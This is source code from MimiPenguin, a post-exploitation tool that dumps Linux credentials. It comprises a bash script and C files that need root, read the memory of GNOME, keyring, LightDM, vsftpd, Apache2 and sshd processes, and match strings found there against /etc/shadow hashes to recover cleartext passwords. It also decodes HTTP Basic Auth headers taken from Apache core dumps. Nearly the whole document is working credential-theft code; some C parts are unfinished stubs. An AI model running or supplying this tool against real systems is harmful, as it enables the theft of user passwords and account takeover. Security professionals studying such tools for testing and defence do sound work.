6 | 7 | #root check 8 | if [[ "$EUID" -ne 0 ]]; then 9 | echo "Root required - You are dumping memory..." 10 | echo "Even mimikatz requires administrator" 11 | exit 1 12 | fi 13 | 14 | #Store results to cleanup later 15 | export RESULTS="" 16 | 17 | # check if a command exists in $PATH 18 | command_exists () { 19 | 20 | command -v "${1}" >/dev/null 2>&1 21 | } 22 | 23 | # check for required executables in $PATH 24 | if ! command_exists strings; then 25 | echo "Error: command 'strings' not found in ${PATH}" 26 | exit 1 27 | fi 28 | if ! command_exists grep; then 29 | echo "Error: command 'grep' not found in ${PATH}" 30 | exit 1 31 | fi 32 | 33 | # Check for any of the currently tested versions of Python 34 | if command_exists python2; then 35 | pycmd=python2 36 | elif command_exists python2.7; then 37 | pycmd=python2.7 38 | elif command_exists python3; then 39 | pycmd=python3 40 | elif command_exists python3.6; then 41 | pycmd=python3.6 42 | elif command_exists python3.7; then 43 | pycmd=python3.7 44 | else 45 | echo "Error: No supported version of 'python' found in ${PATH}" 46 | exit 1 47 | fi 48 | 49 | # $1 = PID, $2 = output_file, $3 = operating system 50 | function dump_pid () { 51 | 52 | system=$3 53 | pid=$1 54 | output_file=$2 55 | if [[ $system == "kali" ]]; then 56 | mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | grep -E 'heap|stack' | cut -d' ' -f 1) 57 | else 58 | mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1) 59 | fi 60 | while read -r memrange; do 61 | memrange_start=$(echo "$memrange" | cut -d"-" -f 1) 62 | memrange_start=$(printf "%u\n" 0x"$memrange_start") 63 | memrange_stop=$(echo "$memrange" | cut -d"-" -f 2) 64 | memrange_stop=$(printf "%u\n" 0x"$memrange_stop") 65 | memrange_size=$((memrange_stop - memrange_start)) 66 | dd if=/proc/"$pid"/mem of="${output_file}"."${pid}" ibs=1 oflag=append conv=notrunc \ 67 | skip="$memrange_start" count="$memrange_size" > /dev/null 2>&1 68 | done <<< "$mem_maps" 69 | } 70 | 71 | 72 | 73 | # $1 = DUMP, $2 = HASH, $3 = SALT, $4 = SOURCE 74 | function parse_pass () { 75 | 76 | #If hash not in dump get shadow hashes 77 | if [[ ! "$2" ]]; then 78 | SHADOWHASHES="$(cut -d':' -f 2 /etc/shadow | grep -E '^\$.\$')" 79 | fi 80 | 81 | #Determine password potential for each word 82 | while read -r line; do 83 | #If hash in dump, prepare crypt line 84 | if [[ "$2" ]]; then 85 | #get ctype 86 | CTYPE="$(echo "$2" | cut -c-3)" 87 | #Escape quotes, backslashes, single quotes to pass into crypt 88 | SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;') 89 | CRYPT="\"$SAFE\", \"$CTYPE$3\"" 90 | if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$2" ]]; then 91 | #Find which user's password it is (useful if used more than once!) 92 | USER="$(grep "${2}" /etc/shadow | cut -d':' -f 1)" 93 | export RESULTS="$RESULTS$4 $USER:$line \n" 94 | fi 95 | #Else use shadow hashes 96 | elif [[ $SHADOWHASHES ]]; then 97 | while read -r thishash; do 98 | CTYPE="$(echo "$thishash" | cut -c-3)" 99 | SHADOWSALT="$(echo "$thishash" | cut -d'$' -f 3)" 100 | #Escape quotes, backslashes, single quotes to pass into crypt 101 | SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;') 102 | CRYPT="\"$SAFE\", \"$CTYPE$SHADOWSALT\"" 103 | if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$thishash" ]]; then 104 | #Find which user's password it is (useful if used more than once!) 105 | USER="$(grep "${thishash}" /etc/shadow | cut -d':' -f 1)" 106 | export RESULTS="$RESULTS$4 $USER:$line\n" 107 | fi 108 | done <<< "$SHADOWHASHES" 109 | #if no hash data - revert to checking probability 110 | else 111 | patterns=("^_pammodutil.+[0-9]$"\ 112 | "^LOGNAME="\ 113 | "UTF-8"\ 114 | "^splayManager[0-9]$"\ 115 | "^gkr_system_authtok$"\ 116 | "[0-9]{1,4}:[0-9]{1,4}:"\ 117 | "Manager\.Worker"\ 118 | "/usr/share"\ 119 | "/bin"\ 120 | "\.so\.[0-1]$"\ 121 | "x86_64"\ 122 | "(aoao)"\ 123 | "stuv") 124 | export RESULTS="$RESULTS[HIGH]$4 $line\n" 125 | for pattern in "${patterns[@]}"; do 126 | if [[ $line =~ $pattern ]]; then 127 | export RESULTS="$RESULTS[LOW]$4 $line\n" 128 | fi 129 | done 130 | fi 131 | done <<< "$1" 132 | } # end parse_pass 133 | 134 | 135 | #Support Kali 136 | if [[ $(uname -a | awk '{print tolower($0)}') == *"kali"* ]]; then 137 | SOURCE="[SYSTEM - GNOME]" 138 | #get gdm-session-worker [pam/gdm-password] process 139 | PID="$(ps -eo pid,command | sed -rn '/gdm-password\]/p' | awk -F ' ' '{ print $1 }')" 140 | #if exists aka someone logged into gnome then extract... 141 | if [[ $PID ]];then 142 | while read -r pid; do 143 | dump_pid "$pid" /tmp/dump "kali" 144 | HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')" 145 | SALT="$(echo "$HASH" | cut -d'$' -f 3)" 146 | DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A 5)" 147 | DUMP="${DUMP}$(strings "/tmp/dump.${pid}" | grep -E '^gkr_system_authtok$' -B 5 -A 5)" 148 | #Remove dupes to speed up processing 149 | DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) 150 | parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 151 | 152 | #cleanup 153 | rm -rf "/tmp/dump.${pid}" 154 | done <<< "$PID" 155 | fi 156 | fi 157 | 158 | #Support gnome-keyring 159 | if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then 160 | 161 | SOURCE="[SYSTEM - GNOME]" 162 | #get /usr/bin/gnome-keyring-daemon process 163 | PID="$(ps -eo pid,command | sed -rn '/gnome\-keyring\-daemon/p' | awk -F ' ' '{ print $1 }')" 164 | 165 | #if exists aka someone logged into gnome then extract... 166 | if [[ $PID ]];then 167 | while read -r pid; do 168 | dump_pid "$pid" /tmp/dump 169 | HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')" 170 | SALT="$(echo "$HASH" | cut -d'$' -f 3)" 171 | DUMP=$(strings "/tmp/dump.${pid}" | grep -E '^.+libgck\-1\.so\.0$' -B 10 -A 10) 172 | DUMP+=$(strings "/tmp/dump.${pid}" | grep -E -A 5 -B 5 'libgcrypt\.so\..+$') 173 | #Remove dupes to speed up processing 174 | DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) 175 | parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 176 | #cleanup 177 | rm -rf "/tmp/dump.${pid}" 178 | done <<< "$PID" 179 | fi 180 | fi 181 | 182 | #Support LightDM 183 | if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep lightdm | grep session-child) ]]; then 184 | SOURCE="[SYSTEM - LIGHTDM]" 185 | PID="$(ps -eo pid,command | grep lightdm | sed -rn '/session\-child/p' | awk -F ' ' '{ print $1 }')" 186 | 187 | #if exists aka someone logged into lightdm then extract... 188 | if [[ $PID ]]; then 189 | while read -r pid; do 190 | dump_pid "$pid" /tmp/dump 191 | HASH=$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$') 192 | SALT="$(echo "$HASH" | cut -d'$' -f 3)" 193 | DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getspnam_' -A1)" 194 | #Remove dupes to speed up processing 195 | DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) 196 | parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 197 | #cleanup 198 | rm -rf "/tmp/dump.${pid}" 199 | done <<< "$PID" 200 | fi 201 | fi 202 | 203 | #Support VSFTPd - Active Users 204 | if [[ -e "/etc/vsftpd.conf" ]]; then 205 | SOURCE="[SYSTEM - VSFTPD]" 206 | #get nobody /usr/sbin/vsftpd /etc/vsftpd.conf 207 | PID="$(ps -eo pid,user,command | grep vsftpd | grep nobody | awk -F ' ' '{ print $1 }')" 208 | #if exists aka someone logged into FTP then extract... 209 | if [[ $PID ]];then 210 | while read -r pid; do 211 | dump_pid "$pid" /tmp/vsftpd 212 | HASH="$(strings "/tmp/vsftpd.${pid}" | grep -E -m 1 '^\$.\$.+\$')" 213 | SALT="$(echo "$HASH" | cut -d'$' -f 3)" 214 | DUMP=$(strings "/tmp/vsftpd.${pid}" | grep -E -B 5 -A 5 '^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$') 215 | #Remove dupes to speed up processing 216 | DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) 217 | parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 218 | done <<< "$PID" 219 | 220 | #cleanup 221 | rm -rf /tmp/vsftpd* 222 | fi 223 | fi 224 | 225 | #Support Apache2 - HTTP BASIC AUTH 226 | if [[ -e "/etc/apache2/apache2.conf" ]]; then 227 | SOURCE="[HTTP BASIC - APACHE2]" 228 | #get all apache workers /usr/sbin/apache2 -k start 229 | PID="$(ps -eo pid,user,command | grep apache2 | grep -v 'grep' | awk -F ' ' '{ print $1 }')" 230 | #if exists aka apache2 running 231 | if [[ "$PID" ]];then 232 | #Dump all workers 233 | while read -r pid; do 234 | gcore -o /tmp/apache "$pid" > /dev/null 2>&1 235 | #without gcore - VERY SLOW! 236 | #dump_pid $pid /tmp/apache 237 | done <<< "$PID" 238 | #Get encoded creds 239 | DUMP="$(strings /tmp/apache* | grep -E '^Authorization: Basic.+=$' | cut -d' ' -f 3)" 240 | #for each extracted b64 - decode the cleartext 241 | while read -r encoded; do 242 | CREDS="$(echo "$encoded" | base64 -d)" 243 | if [[ "$CREDS" ]]; then 244 | export RESULTS="$RESULTS$SOURCE $CREDS\n" 245 | fi 246 | done <<< "$DUMP" 247 | #cleanup 248 | rm -rf /tmp/apache* 249 | fi 250 | fi 251 | 252 | #Support sshd - Search active connections for Sudo passwords 253 | if [[ -e "/etc/ssh/sshd_config" ]]; then 254 | SOURCE="[SYSTEM - SSH]" 255 | #get all ssh tty/pts sessions - sshd: user@pts01 256 | PID="$(ps -eo pid,command | grep -E 'sshd:.+@' | grep -v 'grep' | awk -F ' ' '{ print $1 }')" 257 | #if exists aka someone logged into SSH then dump 258 | if [[ "$PID" ]];then 259 | while read -r pid; do 260 | dump_pid "$pid" /tmp/sshd 261 | HASH="$(strings "/tmp/sshd.${pid}" | grep -E -m 1 '^\$.\$.+\$')" 262 | SALT="$(echo "$HASH" | cut -d'$' -f 3)" 263 | DUMP=$(strings "/tmp/sshd.${pid}" | grep -E -A 3 '^sudo.+') 264 | #Remove dupes to speed up processing 265 | DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u) 266 | parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 267 | done <<< "$PID" 268 | #cleanup 269 | rm -rf /tmp/sshd.* 270 | fi 271 | fi 272 | 273 | #Output results to STDOUT 274 | printf "MimiPenguin Results:\n" 275 | printf "%b" "$RESULTS" | sort -u 276 | unset RESULTS 277 | -------------------------------------------------------------------------------- /src/mimipenguin.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "dbg.h" 6 | #include "targets.h" 7 | #include "scanner.h" 8 | 9 | int main(int argc, char *argv[]) 10 | { 11 | Target targets[MAX_TARGETS]; 12 | 13 | // Must be root (this is a post LPE payload!) 14 | if ( getuid() != 0 ) 15 | { 16 | printf("[!!] MUST BE ROOT\n"); 17 | return -1; 18 | } 19 | // Initialize targets 20 | memset(targets, 0, sizeof(targets)); 21 | initTargets(targets); 22 | 23 | // Populate targets with pids 24 | getTargetPids(targets); 25 | 26 | #ifdef DEBUG 27 | dumpTargets(targets); 28 | #endif 29 | 30 | // Process targets for passwords 31 | if ( processTargets(targets) < 0 ) 32 | { 33 | log_error("Failed to process targets"); 34 | return -1; 35 | } 36 | 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /src/scanner.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "targets.h" 13 | #include "scanner.h" 14 | #include "dbg.h" 15 | #include "max.h" 16 | #include "users.h" 17 | 18 | // Global user list 19 | user_t *g_users; 20 | int g_nusers; 21 | 22 | // Iterate discovered target processes - proccess memory for each one 23 | int processTargets(Target targets[MAX_TARGETS]) 24 | { 25 | int i = -1, j = -1; 26 | int ret = -1; 27 | 28 | // Potential passwords are hashed and compared against /etc/shadow 29 | // So let's parse user's from there first so they are available for later 30 | if ( (g_nusers = GetUsers(&g_users)) < 0 ) 31 | { 32 | log_error("Failed to map parse /etc/shadow users"); 33 | printf("[!!] Failed to parse /etc/shadow users\n"); 34 | goto DONE; 35 | } 36 | 37 | for (i = 0; i < MAX_TARGETS; i++) 38 | { 39 | if (targets[i].pids.size > 0) // if pids found for target 40 | { 41 | printf("[+] Searching: %s (%s)\n", targets[i].source, targets[i].name); 42 | for (j = 0; j < targets[i].pids.size; j ++) 43 | { 44 | if ( processMemory(targets[i], targets[i].pids.array[j]) < 0 ) 45 | { 46 | log_warn("Failed to process pid %d", targets[i].pids.array[j]); 47 | } 48 | } 49 | } 50 | } 51 | ret = 0; 52 | DONE: 53 | PutUsers(&g_users, g_nusers); 54 | return ret; 55 | } 56 | 57 | // Find valid memory regions for given target and pid - process region for each one 58 | int processMemory(Target target, pid_t pid) 59 | { 60 | FILE *maps_fp = NULL, *mem_fp = NULL; 61 | char maps_path[MAX_PATH] = {0}; 62 | char mem_path[MAX_PATH] = {0}; 63 | char atts[ATTS_SZ] = {0}; 64 | unsigned long start = 0, end = 0; 65 | char line[MAX_MAP_LINE] = {0}; 66 | size_t line_len = 0; 67 | int ret = -1; 68 | 69 | // Open our memory files 70 | snprintf(maps_path, MAX_PATH-1, "/proc/%d/maps", pid); 71 | if ( (maps_fp = fopen(maps_path, "r")) == NULL ) 72 | { 73 | log_error("Failed to open %s", maps_path); 74 | goto DONE; 75 | } 76 | 77 | snprintf(mem_path, MAX_PATH-1, "/proc/%d/mem", pid); 78 | if ( (mem_fp = fopen(mem_path, "r")) == NULL ) 79 | { 80 | log_error("Failed to open %s", mem_path); 81 | goto DONE; 82 | } 83 | 84 | //process memory chunks 85 | while (fgets(line, MAX_MAP_LINE-1, maps_fp)) 86 | { 87 | line_len = strlen(line); // get real len 88 | if ( line[line_len-1] != '\n' ) 89 | log_warn("We did not grab the entire maps line! len: %u", (unsigned int)line_len); 90 | 91 | // Only parse anonymous regions (ie not file backed) 92 | if ( line[line_len-2] != ' ' ) 93 | continue; //skipping filebacked region 94 | 95 | sscanf(line, "%lx-%lx %s", &start, &end, atts); 96 | if (strstr(atts, "rw") == NULL) // Only parse read/write regions 97 | continue; 98 | if ( processRegion(mem_fp, start, end) < 0 ) 99 | { 100 | log_error("Failed to process region"); 101 | continue; 102 | } 103 | } 104 | 105 | ret = 0; 106 | DONE: 107 | if (maps_fp != NULL) 108 | fclose(maps_fp); 109 | if (mem_fp != NULL) 110 | fclose(mem_fp); 111 | return ret; 112 | 113 | } 114 | 115 | // returns string len or -1 on error, -2 no strings found 116 | int getStr(FILE *fp, char *str, size_t min_str, size_t max_str, size_t *cur, size_t max_cur) 117 | { 118 | unsigned char c = 0; 119 | int str_len = 0; 120 | 121 | // dont go pass end of region 122 | while ( *cur < max_cur ) 123 | { 124 | c = (unsigned char)fgetc(fp); 125 | if ( c == EOF ) 126 | { 127 | log_warn("Got EOF while parsing region for strings?"); 128 | return -1; 129 | } 130 | (*cur)++; // inc our cursor - the read was good 131 | 132 | // if not printable, check our current run and bail or restart 133 | if ( !isprint((int)c) ) 134 | { 135 | if ( str_len >= min_str ) 136 | return str_len; // We have a string! 137 | // else reset our string if need to and restart 138 | if ( str_len ) 139 | memset(str, 0, str_len); 140 | str_len = 0; 141 | continue; 142 | } 143 | // else char IS printable, copy it into our current str and inc our run count 144 | str[str_len] = c; 145 | str_len++; 146 | if ( str_len == max_str ) //we filled our tring up 147 | return str_len; 148 | 149 | } 150 | return -2; // hit the end of our range 151 | } 152 | 153 | 154 | int processRegion(FILE *fp, unsigned long start, unsigned long end) 155 | { 156 | char str[MAX_STR] = {0}; 157 | int ret = -1; 158 | size_t cur = 0; 159 | size_t max_cur = 0; 160 | int str_len = -1; 161 | 162 | max_cur = (end-start); 163 | // Seek to our region 164 | if ( fseeko(fp, start, SEEK_SET) < 0 ) 165 | { 166 | log_error("Failed to fseeko %lx", start); 167 | goto DONE; 168 | } 169 | 170 | while( cur < max_cur ) 171 | { 172 | if ( (str_len = getStr(fp, str, (MIN_STR), (MAX_STR-1), &cur, max_cur) == -1) ) 173 | { 174 | log_error("error in getStr!"); 175 | goto DONE; 176 | } 177 | if ( str_len == -2 ) //hit max_cur! - no strings found 178 | break; 179 | 180 | // TODO implement target needles to limit the number 181 | // of crypt() calls 182 | 183 | // Compare string hash against user hashes for a match 184 | if ( CheckForUserHash(g_users, g_nusers, str) == 1 ) 185 | { 186 | // PASS FOUND XXX 187 | } 188 | 189 | memset(str, 0, str_len); 190 | } 191 | 192 | ret = 0; 193 | DONE: 194 | return ret; 195 | } 196 | 197 | -------------------------------------------------------------------------------- /src/targets.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "targets.h" 8 | #include "dbg.h" 9 | 10 | void initTargets(Target targets[MAX_TARGETS]) 11 | { 12 | //GNOME GDM 13 | strncpy(targets[0].name, "gdm-password", MAX_SHRT_NAME); 14 | strncpy(targets[0].source, "[SYSTEM - GNOME]", MAX_SHRT_NAME); 15 | targets[0].pids.size = 0; 16 | targets[0].needles.size = 2; 17 | targets[0].needles.needles[0] = "^_pammodutil_getpwnam_root_1$"; 18 | targets[0].needles.needles[1] = "^gkr_system_authtok$"; 19 | 20 | //GNOME Keyring 21 | strncpy(targets[1].name, "gnome-keyring-daemon", MAX_SHRT_NAME); 22 | strncpy(targets[1].source, "[SYSTEM - GNOME]", MAX_SHRT_NAME); 23 | targets[1].pids.size = 0; 24 | targets[1].needles.size = 2; 25 | targets[1].needles.needles[0] = "^+libgck\\-1.so\\.0$"; 26 | targets[1].needles.needles[1] = "libgcrypt\\.so\\..+$"; 27 | 28 | //VSFTPD 29 | strncpy(targets[2].name, "vsftpd", MAX_SHRT_NAME); 30 | strncpy(targets[2].source, "[SYSTEM - VSFTPD]", MAX_SHRT_NAME); 31 | targets[2].pids.size = 0; 32 | targets[2].needles.size = 1; 33 | targets[2].needles.needles[0] = "^::.+\\:[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$"; 34 | 35 | //SSHD 36 | strncpy(targets[3].name, "sshd:", MAX_SHRT_NAME); 37 | strncpy(targets[3].source, "[SYSTEM - SSH]", MAX_SHRT_NAME); 38 | targets[3].pids.size = 0; 39 | targets[3].needles.size = 1; 40 | targets[3].needles.needles[0] = "^sudo.+"; 41 | } 42 | 43 | void getTargetPids(Target targets[MAX_TARGETS]) 44 | { 45 | DIR *dirp; 46 | struct dirent *dp; 47 | int pidSize; 48 | char fileName[MAX_CMDLINE_F] = {0}; 49 | char buf[MAX_CMDLINE] = {0}; 50 | FILE *fp = NULL; 51 | int i = -1; 52 | 53 | // Open process Dir 54 | if ((dirp = opendir("/proc")) == 0) 55 | { 56 | printf("[!!] /proc Access Denied!\n"); 57 | exit(EXIT_FAILURE); 58 | } 59 | 60 | // Iterate through all processes 61 | while ((dp = readdir(dirp)) != NULL) 62 | { 63 | //If not a pid, skip 64 | if (fnmatch("[0-9]*", dp->d_name, 0) != 0) 65 | continue; 66 | 67 | // Get process name 68 | snprintf(fileName, MAX_CMDLINE_F-1, "/proc/%s/cmdline", dp->d_name); 69 | fp = fopen(fileName, "r"); 70 | if (fp == NULL) 71 | { 72 | printf("Could not read /proc/%s/cmdline", dp->d_name); 73 | exit(EXIT_FAILURE); 74 | } 75 | fgets(buf, MAX_CMDLINE-1, fp); 76 | 77 | //Compare cmdline to target names (fuzzy search) 78 | for (i =0; i < MAX_TARGETS; i++) 79 | { 80 | if (strstr(buf, targets[i].name) != NULL) 81 | { 82 | pidSize = targets[i].pids.size++; //update pids size 83 | targets[i].pids.array[pidSize] = atoi(dp->d_name); // update pids for target 84 | break; 85 | } 86 | } 87 | } 88 | 89 | closedir(dirp); 90 | return; 91 | } 92 | 93 | #ifdef DEBUG 94 | void dumpTargets(Target *targets) 95 | { 96 | int i = -1, j = -1; 97 | 98 | for (i = 0; i < MAX_TARGETS; i++) 99 | { 100 | if (targets[i].pids.size > 0) // pids found 101 | { 102 | log_info("FOUND TARGET PROCESS!\n"); 103 | log_info("Name: %s", targets[i].name); 104 | log_info("Source: %s", targets[i].source); 105 | log_info("Needles:\n"); 106 | for (j =0; j 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "dbg.h" 9 | #include "users.h" 10 | #include "max.h" 11 | 12 | // Does user from shadow line have a hash? 13 | int isValidUser(char *line) 14 | { 15 | char *cur = NULL; 16 | 17 | if ( (cur = strchr(line, ':')) == NULL ) 18 | { 19 | log_warn("Invalid user line?!"); 20 | return -1; 21 | } 22 | if ( cur[1] == '$' ) //valid user with a hash 23 | return 1; 24 | else 25 | return 0; // invalid user, probably disabled or locked 26 | } 27 | 28 | int CountUsers(FILE *fp) 29 | { 30 | char line[MAX_USER_LINE] = {0}; 31 | int cnt = 0; 32 | 33 | while ( fgets(line, MAX_USER_LINE-1, fp) ) 34 | { 35 | switch ( isValidUser(line) ) 36 | { 37 | case -1: 38 | log_warn("Invalid user line?"); 39 | break; 40 | case 0: // not valid aka no hash 41 | break; 42 | default: //valid 43 | cnt++; 44 | break; 45 | } 46 | } 47 | return cnt; 48 | } 49 | // populate our user list with hashes, salts, and names 50 | int PopulateUsers(FILE *fp, user_t *users, int nusers) 51 | { 52 | char line[MAX_USER_LINE] = {0}; 53 | int cur = 0; 54 | char *uname = NULL; 55 | char *id_salt_hash = NULL; 56 | char *id_salt = NULL, *id_salt_end = NULL; 57 | int id_salt_len = 0; 58 | char *hash = NULL; 59 | 60 | while ( fgets(line, MAX_USER_LINE-1, fp) ) 61 | { 62 | if ( (uname = strtok(line, ":")) == NULL ) 63 | { 64 | log_warn("invalid user line?"); 65 | continue; 66 | } 67 | if ( uname[strlen(uname)+1] != '$' ) 68 | { 69 | //debug("%s", &uname[strlen(uname)+1]); 70 | //log_warn("Invalid user, no hash [%s]", uname); 71 | continue; 72 | } 73 | if ( (id_salt_hash = strtok(NULL, ":")) == NULL ) 74 | { 75 | log_warn("Corrupted user line?"); 76 | continue; 77 | } 78 | // extract hash after id_salt 79 | if ( (id_salt_end = strrchr(id_salt_hash, '$')) == NULL ) 80 | { 81 | log_warn("Corrupted user line? No salt end?"); 82 | continue; 83 | } 84 | 85 | if ( cur >= nusers ) 86 | { 87 | log_error("More users found then before?! %d vs %d", cur, nusers); 88 | return -1; //FATAL 89 | } 90 | 91 | hash = id_salt_end+1; 92 | id_salt_len = hash - id_salt_hash; 93 | 94 | // allocate memory for the fields and populate 95 | users[cur].uname_len = strlen(uname) + 1; 96 | if ( (users[cur].uname = calloc(users[cur].uname_len, 1)) == NULL ) 97 | { 98 | log_error("Failed to calloc uname"); 99 | return -1; //FATAL 100 | } 101 | memcpy(users[cur].uname, uname, users[cur].uname_len-1); 102 | 103 | users[cur].id_salt_len = id_salt_len + 1; 104 | if ( (users[cur].id_salt = calloc(users[cur].id_salt_len, 1)) == NULL ) 105 | { 106 | log_error("Failed to calloc id_salt"); 107 | return -1; //FATAL 108 | } 109 | memcpy(users[cur].id_salt, id_salt_hash, users[cur].id_salt_len-1); 110 | 111 | users[cur].hash_len = strlen(hash) + 1; 112 | if ( (users[cur].hash = calloc(users[cur].hash_len, 1)) == NULL ) 113 | { 114 | log_error("Failed to calloc hash"); 115 | return -1; //FATAL 116 | } 117 | memcpy(users[cur].hash, hash, users[cur].hash_len-1); 118 | debug("valid users found: %s", uname); 119 | cur++; //next user 120 | } 121 | 122 | if ( cur != (nusers) ) 123 | { 124 | log_error("User count mismatch! %d vs %d", cur, nusers); 125 | return -1; //FATAL 126 | } 127 | } 128 | 129 | // Populates an array of User structs with local 130 | // users and their hashes/salts. Only targets 131 | // users with a valid hash 132 | // -1 = error, 133 | // 0 = no valid users (prob an error) 134 | // number of valid users = success 135 | int GetUsers(user_t **users) 136 | { 137 | FILE *fp = NULL; 138 | int num_users = 0; 139 | int ret = -1; 140 | char line[MAX_USER_LINE] = {0}; 141 | 142 | if ( (fp = fopen("/etc/shadow", "r")) == NULL ) 143 | { 144 | log_error("Failed to open /etc/shadow"); 145 | goto DONE; 146 | } 147 | 148 | // first count valid users 149 | if ( (num_users = CountUsers(fp)) == 0) 150 | { 151 | log_warn("No valid users on system?"); 152 | goto DONE; 153 | } 154 | 155 | log_info("Found %d valid users on system", num_users); 156 | 157 | // allocate space for our valid user list 158 | if ( (*users = (user_t*)calloc(num_users, sizeof(user_t))) == NULL ) 159 | { 160 | log_error("Failed to calloc user_t list"); 161 | goto DONE; 162 | } 163 | 164 | rewind(fp); //reset fp pos 165 | 166 | if ( PopulateUsers(fp, *users, num_users) < 0 ) 167 | { 168 | log_error("Fatal error populating the users"); 169 | goto DONE; 170 | } 171 | 172 | ret = num_users; 173 | DONE: 174 | if ( fp != NULL ) 175 | fclose(fp); 176 | return ret; 177 | } 178 | 179 | 180 | // Frees all memory being used by the User list 181 | void PutUsers(user_t **users, int nusers) 182 | { 183 | int i = 0; 184 | if ( *users == NULL ) 185 | return; 186 | for ( i = 0; i < nusers; i++ ) 187 | { 188 | if ( (*users)[i].uname != NULL ) 189 | (*users)[i].uname = NULL; 190 | if ( (*users)[i].id_salt != NULL ) 191 | free((*users)[i].id_salt); 192 | if ( (*users)[i].hash != NULL ) 193 | free((*users)[i].hash); 194 | } 195 | free(*users); 196 | *users = NULL; 197 | } 198 | 199 | // Check for a match of hashed version of str against user hashes 200 | // If match return user index 201 | // else 0 for no match 202 | int CheckForUserHash(user_t *users, int nusers, char *str) 203 | { 204 | int i = 0; 205 | char *str_hash = NULL; 206 | int ret = 0; 207 | 208 | for ( i = 0; i < nusers; i++ ) 209 | { 210 | if ( (str_hash = crypt((const char*)str, users[i].id_salt)) == NULL ) 211 | { 212 | log_error("crypt failed string: %s, salt: %s", str, users[i].id_salt); 213 | continue; 214 | } 215 | if ( strstr(str_hash, users[i].hash) != NULL ) 216 | { 217 | printf(" [-] %s:%s\n", users[i].uname, str); 218 | ret = 1; // FOUND PASS! 219 | } 220 | } 221 | return 0; // not found 222 | } 223 | --------------------------------------------------------------------------------